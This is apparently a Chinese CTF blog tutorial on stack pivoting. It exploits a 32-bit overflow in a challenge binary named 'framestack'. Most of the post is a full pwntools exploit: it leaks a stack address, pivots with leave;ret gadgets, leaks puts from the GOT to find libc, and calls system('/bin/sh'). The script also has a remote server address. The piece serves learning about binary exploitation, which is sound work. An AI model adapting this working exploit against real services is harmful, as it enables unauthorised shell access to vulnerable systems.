PWN January 03, 2020

玩转花式栈溢出

Words count 14k Reading time 13 mins. Read count 0

一、花式栈溢出介绍:

花式栈溢出又叫栈迁移技术,是指在可以写的payload的长度不佳的情况下(一般只有ebp和ret位置可以写,没有多的了,或者再多给两行可以写的),这样的话我们需要进行栈迁移,具体做法有如下两种:

1、迁移到栈本身,2、迁移到bss段中,3、迁移到堆块(后期补充)

先来看看迁移到栈的情况:

来一道题目:

1562598733912

1562598747943

1562598902489

这里堆栈不可执行保护,其他的没开,然后栈溢出发现只能溢出8字节,32位的话,就是覆盖到ebp和ret的位置,很局限,这里想到栈迁移,于是搞一波操作:

第一步:迁移到本身的栈,ebp和ret的构造(需要泄露出栈地址)

第二步:泄露出真实地址(调用puts函数),返回原来的vul地址

第三步:再次迁移,实现system调用

第一步泄露出栈地址:

1562601760888

1
2
3
4
5
6
7
8
9
10
py = ''
py += 'a'*0x58
ru("hello boy")

sl(py)
ru('a'*0x58)
stack = u32(rc(16)[-4:])
print "stack---->" + hex(stack)
stack_esp = stack - 0x80
print "stack_esp---->" + hex(stack_esp)

泄露后面的那个栈地址才是固定偏移(第一个坑),泄露出来后减去0x80的固定偏移,即可得到输入位置栈顶的地址,接着我们可以输入我们栈迁移的代码了:

1
2
3
4
5
6
7
8
9
10
11
12
13
vul_addr = 0x8048576
puts_got = elf.got["puts"]
puts = elf.symbols["puts"]
leave_ret = 0x08048488

py = ''
py += 'aaaa'
py += p32(puts)
py += p32(vul_addr)
py += p32(puts_got)
py += 18*'aaaa' //计算好大小为0x58
py += p32(stack_esp) //ebp
py += p32(leave_ret) //ret

可以看下在栈中的分布情况:

1562601865257

接着继续运行即可打印出puts的got表地址:

1562601957532

真实地址泄漏出来,函数又回到了vul函数:

1562601134407

意味着我们可以再次输入,那么计算出system和binsh的地址,再次栈迁移下:

1
2
3
4
5
6
7
8
py1 = ''
py1 += 'aaa'
py1 += p32(system)
py1 += p32(0xdeadbeef)
py1 += p32(binsh)
py1 += 18*'aaaa'
py1 += p32(stack_esp-0x50)
py1 += p32(leave_ret)

这里需要注意的问题是,第二次输入时的位置不同,这次是减去0x50才是新的栈帧的栈顶地址,同时,输入时要先输入‘aaa’,这一步是动态调试调出来的,偏移的缘故,才能对齐。

1562602087892

最后一步步执行:第一次已经构造好了payload,第二次输入就直接写一个ls字符串(随便,但是不要影响第一次的栈布局)即可。

1562602345495

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#coding=utf8
from pwn import *
context.log_level = 'debug'
local = 1
elf = ELF('./framestack')
if local:
p = process('./framestack')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('./libc.so.6')

sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
#addr = u64(rc(6).ljust(8,'\x00'))
#addr = u32(rc(4))
#addr = int(rc(6),16)#string
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
def bk(addr):
gdb.attach(p,"b *"+str(addr))
#bk(0x080485C6)
py = ''
py += 'a'*0x58
ru("hello boy")

sl(py)
ru('a'*0x58)
stack = u32(rc(16)[-4:])
print "stack---->" + hex(stack)
stack_esp = stack - 0x80
print "stack_esp---->" + hex(stack_esp)
vul_addr = 0x8048576
puts_got = elf.got["puts"]
puts = elf.symbols["puts"]
leave_ret = 0x08048488

py = ''
py += 'aaaa'
py += p32(puts)
py += p32(vul_addr)
py += p32(puts_got)
py += 18*'aaaa'
py += p32(stack_esp)
py += p32(leave_ret)
sleep(0.1)
#bk(0x080485C6)
sl(py)
ru('\x0a')
puts_got = u32(rc(4))
print "puts_got--->" + hex(puts_got)
libc_base = puts_got - libc.symbols["puts"]
system = libc_base + libc.symbols["system"]
binsh = libc.search("/bin/sh").next() + libc_base
onegadget = libc_base + 0xf1147
#sleep(0.1)
#ru("Welcome")
#bk(0x80485B3)
py1 = ''
py1 += 'aaa'
py1 += p32(system)
py1 += p32(0xdeadbeef)
py1 += p32(binsh)
py1 += 18*'aaaa'
py1 += p32(stack_esp-0x50)
py1 += p32(leave_ret)
sd(py1)
ru("here,")
sleep(1)
sd('ls')

p.interactive()

这里纯属复习用,不用做其他的作用,后期更新迁移到bss段的,那个就很好理解了,栈的结构也不会发生变化~

0%